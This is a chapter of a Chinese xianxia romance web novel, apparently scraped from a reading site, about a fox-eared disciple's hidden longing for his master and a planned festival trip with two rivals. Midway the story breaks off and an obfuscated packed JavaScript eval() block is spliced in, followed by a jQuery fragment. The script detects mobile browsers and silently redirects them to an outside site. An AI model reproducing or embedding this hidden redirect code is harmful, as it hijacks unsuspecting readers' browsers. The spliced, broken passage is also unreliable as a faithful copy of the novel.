“啊……不要!”柳夷一着急,狐狸耳朵冒出来,双手死死抓住被子,脸上飞红。
怀篍吓一跳,蓦地收回手:“不要就不要嘛,你叫那么大声干嘛。快点起来,你师尊要饿死了,玉米饼也吃完了……快点快点,菜给你洗好了的,放在客厅的矮桌上。”她急得直跺脚。
“知道了,”他的狐狸耳朵立起,颤个不停,浑身血脉偾张,“师尊先出去,我……我换衣袍。”
“哎呀,”她抬手捏了捏他脑袋上的毛耳朵,“好吧,那,师尊出去?”
“嗯……”柳夷全身酥软,咬牙将呜咽声勉强咽回。
怀篍离开后,他仍保持原状,狐狸耳朵动个不停。被子的一角似乎还残留着她身上幽香,他缓缓埋进被子,贪婪地去嗅香气。
真是疯了。
-
怀篍斜躺在软榻上啃桃子,汁水顺着唇角流到下巴,她拿手帕拭去。再抬眼便见到柳夷站在她身边,双手藏在身后,狐狸眼痴痴望着她的,嘴唇?
这孩子今日是怎么回事?怀篍蹙眉:“……柳夷?”
柳夷一惊,视线乱飞,意外撞上她沉静的双眸。
“你还在生我的气?”怀篍摊开右手,两截碎镯出现在掌心,“我会想办法把镯子修好的,唉……我还以为你会把这镯子给卖了呢。”
昆仑山的膳食是出了名的难吃,怀篍做弟子时就经常与谢令仪开小灶。她想着镯子本就是柳夷花钱买的,卖掉改善生活也是情理之中,便将镯子寄给了在云隐阁的柳夷。
可她忘了柳夷敏感多疑。
“不会卖,”柳夷咬唇,“死也不卖。”
怀篍颔首:“我修好了给你。”
“不行。”他鼻子一酸,声音颤抖,“你是嫌弃他吗?”
怀篍怔愣:“啊?不是啊,我想着本来就是你的东西,我戴着不太合适,所以才……”
“他就是你的,他只属于你一人。”柳夷打断她。
“哦……是我的是我的。”见他情绪激动,怀篍忙转移话题,“饭做好了吗?”
“还有汤没好。”柳夷攥紧身后床单,“师尊先睡会吧。”
怀篍注意到他身后白布:“你手上拿着什么?”
“脏床单,”他攥床单的手绷得骨节突起,含糊道,“我出去下。”
怀篍不作声,盯他脖间伤口盯得出神。
在幻境的时候,她睡了一觉,是躺在柳夷怀里睡的——严谨的说,不是柳夷,而是幻象所表现出的与现实截然不同的柳夷。
可是,他亲她脸颊的时候是那么真实,就像柳夷本就会做出这种事似的……柳夷会强迫她脱得一.丝.不.挂吗?会抚摸她的脊背安慰她叫她“好孩子”吗?会轻柔抚过她的眼角泪渍吗?他真的会这样吗?
真荒唐。
从前只有柳夷躺在自己的怀里,自己从没有躺在柳夷怀里过。依偎在幻象怀里的那一瞬,她觉得他们不再是师徒,而是……反正她再也无法清白地看他。
可他却直勾勾盯着她。
“……去吧。”她低下头,“早去早回。”
小溪从山间蜿蜒而下,宛如一条晶莹玉带,阳光洒在水面,波光粼粼。
柳夷双手探进温温热的溪水,将米白色的床单浸入水中,使劲搓洗。
如果怀篍知道,一定会疯掉吧,说不定还会把自己赶出去……也对,任谁都受不了一直信赖的小徒弟对自己心怀不轨。柳夷暗忖。
“怀篍……怀篍……”他无意识地轻唤怀篍的名字,搓洗床单的动作愈来愈快,大拇指根部搓得红肿也不停下。他们之间的窗户纸,最好永远都不要捅破。
不远处的青石板路站着两人,停在原地盯柳夷许久。
谢令仪抬眼问暮合:“你听清他在念叨什么了吗?”
“没有。”暮合摇头,“呵呵,像老奶奶说梦话,谁听得清。主子,我们走吧。”
谢令仪略一沉吟,转身与暮合往树屋方向走。
他们两人本无心蹭饭,怎料到木屋的时候恰好赶上饭点。
“师姐多吃点。”怀篍往谢令仪碗里挑了一大筷子白菜根。
“……谢谢师妹。”谢令仪迷茫地望着满满当当一大碗的水煮白菜。她还是第一次吃怀篍家的饭,从前都是怀篍来她府上用膳。
没想到师妹生活如此拮据。
“不用谢,应该的!”怀篍高高兴兴地挑菜,笑眼对上站矮桌旁的暮合,招呼道,“暮合也坐下来吃饭吧!”
“你装够了吗?”暮合没好气地说,斜睨她一眼,顺从坐下。
怀篍瘪了瘪嘴,往自己碗里挑了一块水煮豆腐。她早已习惯暮合的毒嘴,有时不听他骂几句甚至还有些不习惯。
“笑死我了,”怀篍狠咬一口手中的干面饼,“毒夫。”
暮合:“你是蛆。”
“好了,不要说了。”谢令仪胃里翻江倒海,“暮合,你不是有话要对怀篍上仙说吗,不如就现在说。”
柳夷俶尔抬头,颊侧红晕消散,脸颊煞白。
暮合哂笑道:“哇,好像有人看不惯我,不想让我说呢。主子……我还是不说了吧。”
谢令仪不耐烦地啧声:“不说算了,用膳。”
她哪里看不惯他?她又有哪里做错?要经受他这般暗讽。暮合真是愈发不知分寸,若不是看在几百年的主仆情分,她早将他打发了去。
暮合怔忡:“啊?不是不是,我说我说……怀篍上仙,下个月下旬人间要办花朝节。”
“我又不是花神,他们又不拜我,告诉我做什么?”怀篍呵呵几声,“大哥你吃错药神志不清了?”
谢令仪垂眸叹气:“师妹,他不是这个意思,他的意思是……”
“不行!”柳夷猝然打断,眼睑通红,眸中蓄积泪水,“绝对不行!”
几人齐刷刷抬头看他。
柳夷握筷的手止不住颤抖,鼻尖酸楚蔓延。他知道暮合想要说什么,他绝对不愿看见那种事发生。早在小时,他便下定决心占有怀篍,不仅仅是师尊这重身份,他还要做她唯一亲密之人,唯一挂怀之人。
怀篍不明所以,呆呆看他:“师姐话都还没说完,你这么快拒绝干嘛?而且不应该由我来做决定吗?你真是……小孩子说话大人别插……呸呸呸,大人说话小孩子别插嘴!安静吃你的饭。”
她连吃好几月水煮白菜豆腐吃得神志不清,说话也嘴瓢。家徒四壁,不吃素吃什么?况且她还要攒钱给柳夷修镯子,再加上买治疗他脖间伤口的药膏。
命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235634|166069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么这么苦。
柳夷幽幽垂下脑袋,朦胧的双眼转个不停。
暮合咬牙道:“怀篍,我想请你……”
听到“请”这个字,怀篍迅速拍桌子:“我愿意!”
“……去放花灯。”
柳夷手中木筷掉落在地。
“真的?太好了。”暮合欣喜之色溢于言表,挑衅般看向坐在怀篍身边的柳夷。
没等暮合开口讥讽,柳夷双手就已环住怀篍腰身。
柳夷费力撑起一个微笑,下巴靠在怀篍颈窝,小声呢喃:“师尊,我不想待在家里等师尊回来,没有师尊的夜晚,总是那么漫长……在昆仑的时候,我总是睡不着,躺在床上数头顶砖块,一数就是一整晚。我想与师尊一同去……就算暮合哥哥不愿,我也要与师尊一起。如果师尊不愿……唔……”他细细抽噎。
他声音很小,只有自己与怀篍能听见。
暮合听到一点,似乎听见了自己的名字,心中明白柳夷说的肯定不是好话。无所谓,他已足够黑,想抹黑的人只会沾一手黑。
几滴热泪滴到怀篍胸口,她抬手拍了拍柳夷颤抖的脊背,心中流过一股暖流:“我当然愿意了,还巴不得呢。”
她凑在柳夷耳畔,降低音量:“你没去人间玩过吧?正好你与我一同去,也长长见识,顺便保护师尊。”
“保护?”
“嗯,你也知道我与暮合的关系素来不合,甚至可以说是势同水火,万一他是打算挑个人生地不熟的地方暗杀我……所以,明白了吧?”
“啊……明白。”柳夷讪讪点头。怀篍总是扮演局外人的角色,甚至在以自己为主角的事件中也是局外人,柳夷知道她是不愿染是与非。
而不是傻乎乎。
怀篍抬起眼皮,正声道:“只有我和你?不行,我还要带上柳夷。”
暮合懒懒地回答:“带就带呗,我主子也要去。”
“嗯,”谢令仪微笑着,“我们四人。”
“那太好了。”怀篍松了口气。有令仪师姐在,她不信还对付不了一个大公鸡。
柳夷呼吸一滞。
四个人?
-
“四位吗?”客栈老板挠了挠脑袋,“那就……两间双人房,各位客官意下如何?”
“可以,”谢令仪颔首,看向怀篍,“师妹,正好我们住一间。”
怀篍倒是无所谓,睡哪都成,睡大街上都可以,反正别让她花钱就行。她立马答应:“好啊好啊!”
“那就这么定了。”谢令仪拉起怀篍的手,眼角带笑。
其余两人同时发声:“不行!绝对不行!”
柳夷就知道会出现现在这种情况,他想这事想了将近一个月,什么应对方法都没得出,只是边哭边焦虑。
他死也不愿和暮合这种贱人住一间房!他们之间的仇恨不是一天两天就能产生的,是日积月累的结果,这两百年来,暮合讥讽他的话、给他使的绊子多到数不清!
怎么会有这么恶毒的人?
客栈老板尴尬地拨弄算盘:“那……三间房如何?这位师姐一间,您身边的下人一间,还有这对年轻夫妻一间,正正好。”
“夫……夫妻?”柳夷喉结滚动,偷偷去瞟身边的怀篍。